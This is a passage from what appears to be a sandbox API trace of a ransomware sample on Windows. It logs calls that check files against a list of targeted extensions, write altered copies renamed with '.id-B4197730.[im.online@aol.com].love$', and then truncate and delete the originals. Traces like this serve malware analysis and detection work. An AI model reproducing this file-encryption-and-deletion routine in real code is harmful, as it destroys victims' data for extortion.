(lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0103.904] lstrlenW (lpString=".jpg") returned 4 [0103.904] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0103.905] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0103.905] lstrlenW (lpString="UiInfo.xml") returned 10 [0103.905] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0103.905] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=39050) returned 1 [0103.905] CloseHandle (hObject=0x2c8) returned 1 [0103.905] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml")) returned 0x80 [0103.905] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0103.905] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0103.906] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.906] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.906] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0104.553] GetLastError () returned 0x0 [0104.553] ReadFile (in: hFile=0x2c8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x988a, lpOverlapped=0x0) returned 1 [0104.574] WriteFile (in: hFile=0x344, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x9890, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x9890, lpOverlapped=0x0) returned 1 [0104.575] ReadFile (in: hFile=0x2c8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0104.576] WriteFile (in: hFile=0x344, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xe8, lpOverlapped=0x0) returned 1 [0104.576] SetEndOfFile (hFile=0x344) returned 1 [0104.576] CloseHandle (hObject=0x344) returned 1 [0104.579] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0104.579] SetEndOfFile (hFile=0x2c8) returned 1 [0104.580] CloseHandle (hObject=0x2c8) returned 1 [0104.581] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0104.581] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml")) returned 1 [0104.581] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0104.581] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0104.581] lstrlenW (lpString=".doc") returned 4 [0104.581] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0104.581] lstrlenW (lpString=".docx") returned 5 [0104.581] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0104.581] lstrlenW (lpString=".pdf") returned 4 [0104.581] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0104.581] lstrlenW (lpString=".xls") returned 4 [0104.582] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0104.582] lstrlenW (lpString=".xlsx") returned 5 [0104.582] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0104.582] lstrlenW (lpString=".ppt") returned 4 [0104.582] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0104.582] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0104.582] lstrlenW (lpString=".zip") returned 4 [0104.582] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0104.582] lstrlenW (lpString=".rar") returned 4 [0104.582] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0104.582] lstrlenW (lpString=".bz2") returned 4 [0104.582] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0104.582] lstrlenW (lpString=".7z") returned 3 [0104.582] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0104.582] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0104.582] lstrlenW (lpString=".dbf") returned 4 [0104.582] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0104.582] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0104.582] lstrlenW (lpString=".1cd") returned 4 [0104.582] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0104.582] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0104.582] lstrlenW (lpString=".jpg") returned 4 [0104.582] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0104.582] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0104.582] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0104.582] lstrlenW (lpString=".doc") returned 4 [0104.582] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0104.582] lstrlenW (lpString=".docx") returned 5 [0104.582] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0104.582] lstrlenW (lpString=".pdf") returned 4 [0104.582] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0104.583] lstrlenW (lpString=".xls") returned 4 [0104.583] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0104.583] lstrlenW (lpString=".xlsx") returned 5 [0104.583] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0104.583] lstrlenW (lpString=".ppt") returned 4 [0104.583] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0104.583] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0104.583] lstrlenW (lpString=".zip") returned 4 [0104.583] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0104.583] lstrlenW (lpString=".rar") returned 4 [0104.583] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0104.583] lstrlenW (lpString=".bz2") returned 4 [0104.583] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0104.583] lstrlenW (lpString=".7z") returned 3 [0104.583] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0104.583] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0104.583] lstrlenW (lpString=".dbf") returned 4 [0104.583] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0104.583] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0104.583] lstrlenW (lpString=".1cd") returned 4 [0104.583] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0104.583] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0104.583] lstrlenW (lpString=".jpg") returned 4 [0104.583] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0104.583] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0104.583] lstrlenW (lpString="Strings.xml") returned 11 [0104.583] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0104.584] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=14084) returned 1 [0104.584] CloseHandle (hObject=0x2c8) returned 1 [0104.584] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml")) returned 0x80 [0104.584] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\strings.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0104.584] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0104.584] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0104.584] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0104.584] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\strings.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0104.584] GetLastError () returned 0x0 [0104.584] ReadFile (in: hFile=0x2c8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x3704, lpOverlapped=0x0) returned 1 [0104.594] WriteFile (in: hFile=0x344, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x3710, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x3710, lpOverlapped=0x0) returned 1 [0104.595] ReadFile (in: hFile=0x2c8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0104.595] WriteFile (in: hFile=0x344, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xea, lpOverlapped=0x0) returned 1 [0104.596] SetEndOfFile (hFile=0x344) returned 1 [0104.596] CloseHandle (hObject=0x344) returned 1 [0104.597] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0104.597] SetEndOfFile (hFile=0x2c8) returned 1 [0104.598] CloseHandle (hObject=0x2c8) returned 1 [0104.598] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0104.598] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml")) returned 1 [0104.599] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0104.599] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0104.599] lstrlenW (lpString=".doc") returned 4 [0104.599] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0104.599] lstrlenW (lpString=".docx") returned 5 [0104.599] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0104.599] lstrlenW (lpString=".pdf") returned 4 [0104.599] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0104.599] lstrlenW (lpString=".xls") returned 4 [0104.599] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0104.599] lstrlenW (lpString=".xlsx") returned 5 [0104.599] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0104.599] lstrlenW (lpString=".ppt") returned 4 [0104.599] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0104.599] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0104.599] lstrlenW (lpString=".zip") returned 4 [0104.599] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0104.599] lstrlenW (lpString=".rar") returned 4 [0104.599] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0104.599] lstrlenW (lpString=".bz2") returned 4 [0104.599] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0104.599] lstrlenW (lpString=".7z") returned 3 [0104.599] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0104.599] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0104.599] lstrlenW (lpString=".dbf") returned 4 [0104.599] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0104.599] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0104.599] lstrlenW (lpString=".1cd") returned 4 [0104.599] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0104.600] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0104.600] lstrlenW (lpString=".jpg") returned 4 [0104.600] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0104.600] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0104.600] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0104.600] lstrlenW (lpString=".doc") returned 4 [0104.600] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0104.600] lstrlenW (lpString=".docx") returned 5 [0104.600] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0104.600] lstrlenW (lpString=".pdf") returned 4 [0104.600] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0104.600] lstrlenW (lpString=".xls") returned 4 [0104.600] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0104.600] lstrlenW (lpString=".xlsx") returned 5 [0104.600] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0104.600] lstrlenW (lpString=".ppt") returned 4 [0104.600] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0104.600] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0104.600] lstrlenW (lpString=".zip") returned 4 [0104.600] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0104.600] lstrlenW (lpString=".rar") returned 4 [0104.600] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0104.600] lstrlenW (lpString=".bz2") returned 4 [0104.600] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0104.600] lstrlenW (lpString=".7z") returned 3 [0104.600] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0104.600] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0104.600] lstrlenW (lpString=".dbf") returned 4 [0104.600] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0104.600] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0104.600] lstrlenW (lpString=".1cd") returned 4 [0104.600] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0104.600] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0104.600] lstrlenW (lpString=".jpg") returned 4 [0104.600] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0104.601] lstrcmpiW (lpString1=".bmp", lpString2=".love$") returned -1 [0104.601] lstrlenW (lpString="watermark.bmp") returned 13 [0104.601] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0104.601] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=104072) returned 1 [0104.601] CloseHandle (hObject=0x2c8) returned 1 [0104.601] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp")) returned 0x80 [0104.601] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0104.601] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0104.601] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0104.601] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0104.601] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0104.602] GetLastError () returned 0x0 [0104.602] ReadFile (in: hFile=0x2c8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x19688, lpOverlapped=0x0) returned 1 [0104.606] WriteFile (in: hFile=0x344, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x19690, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x19690, lpOverlapped=0x0) returned 1 [0104.609] ReadFile (in: hFile=0x2c8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0104.609] WriteFile (in: hFile=0x344, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xee, lpOverlapped=0x0) returned 1 [0104.610] SetEndOfFile (hFile=0x344) returned 1 [0104.610] CloseHandle (hObject=0x344) returned 1 [0104.616] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0104.616] SetEndOfFile (hFile=0x2c8) returned 1 [0104.617] CloseHandle (hObject=0x2c8) returned 1 [0104.617] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0104.617] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp")) returned 1 [0104.618] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0104.618] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0104.618] lstrlenW (lpString=".doc") returned 4 [0104.618] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0104.618] lstrlenW (lpString=".docx") returned 5 [0104.618] lstrcmpiW (lpString1=".docx", lpString2="k.bmp") returned -1 [0104.618] lstrlenW (lpString=".pdf") returned 4 [0104.618] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0104.618] lstrlenW (lpString=".xls") returned 4 [0104.618] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0104.618] lstrlenW (lpString=".xlsx") returned 5 [0104.618] lstrcmpiW (lpString1=".xlsx", lpString2="k.bmp") returned -1 [0104.618] lstrlenW (lpString=".ppt") returned 4 [0104.618] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0104.618] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0104.618] lstrlenW (lpString=".zip") returned 4 [0104.618] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0104.618] lstrlenW (lpString=".rar") returned 4 [0104.618] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0104.618] lstrlenW (lpString=".bz2") returned 4 [0104.618] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0104.618] lstrlenW (lpString=".7z") returned 3 [0104.618] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0104.618] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0104.618] lstrlenW (lpString=".dbf") returned 4 [0104.618] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0104.618] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0104.618] lstrlenW (lpString=".1cd") returned 4 [0104.618] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0104.618] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0104.618] lstrlenW (lpString=".jpg") returned 4 [0104.619] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0104.619] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0104.619] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0104.619] lstrlenW (lpString=".doc") returned 4 [0104.619] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0104.619] lstrlenW (lpString=".docx") returned 5 [0104.619] lstrcmpiW (lpString1=".docx", lpString2="k.bmp") returned -1 [0104.619] lstrlenW (lpString=".pdf") returned 4 [0104.619] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0104.619] lstrlenW (lpString=".xls") returned 4 [0104.619] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0104.619] lstrlenW (lpString=".xlsx") returned 5 [0104.619] lstrcmpiW (lpString1=".xlsx", lpString2="k.bmp") returned -1 [0104.619] lstrlenW (lpString=".ppt") returned 4 [0104.619] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0104.619] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0104.619] lstrlenW (lpString=".zip") returned 4 [0104.619] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0104.619] lstrlenW (lpString=".rar") returned 4 [0104.619] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0104.619] lstrlenW (lpString=".bz2") returned 4 [0104.619] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0104.619] lstrlenW (lpString=".7z") returned 3 [0104.619] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0104.619] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0104.619] lstrlenW (lpString=".dbf") returned 4 [0104.619] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0104.619] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0104.619] lstrlenW (lpString=".1cd") returned 4 [0104.619] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0104.619] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0104.619] lstrlenW (lpString=".jpg") returned 4 [0104.619] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0104.620] lstrcmpiW (lpString1=".LOG", lpString2=".love$") returned -1 [0104.620] lstrlenW (lpString="BCD.LOG") returned 7 [0104.620] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0104.620] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0104.620] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0104.620] lstrlenW (lpString=".doc") returned 4 [0104.620] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0104.620] lstrlenW (lpString=".docx") returned 5 [0104.620] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0104.620] lstrlenW (lpString=".pdf") returned 4 [0104.620] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0104.620] lstrlenW (lpString=".xls") returned 4 [0104.620] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0104.620] lstrlenW (lpString=".xlsx") returned 5 [0104.620] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0104.620] lstrlenW (lpString=".ppt") returned 4 [0104.620] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0104.620] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0104.620] lstrlenW (lpString=".zip") returned 4 [0104.620] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0104.620] lstrlenW (lpString=".rar") returned 4 [0104.620] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0104.620] lstrlenW (lpString=".bz2") returned 4 [0104.620] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0104.620] lstrlenW (lpString=".7z") returned 3 [0104.620] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0104.620] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0104.620] lstrlenW (lpString=".dbf") returned 4 [0104.620] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0104.620] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0104.621] lstrlenW (lpString=".1cd") returned 4 [0104.621] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0104.621] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0104.621] lstrlenW (lpString=".jpg") returned 4 [0104.621] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0104.621] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0104.621] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0104.621] lstrlenW (lpString=".doc") returned 4 [0104.621] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0104.621] lstrlenW (lpString=".docx") returned 5 [0104.621] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0104.621] lstrlenW (lpString=".pdf") returned 4 [0104.621] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0104.621] lstrlenW (lpString=".xls") returned 4 [0104.621] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0104.621] lstrlenW (lpString=".xlsx") returned 5 [0104.621] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 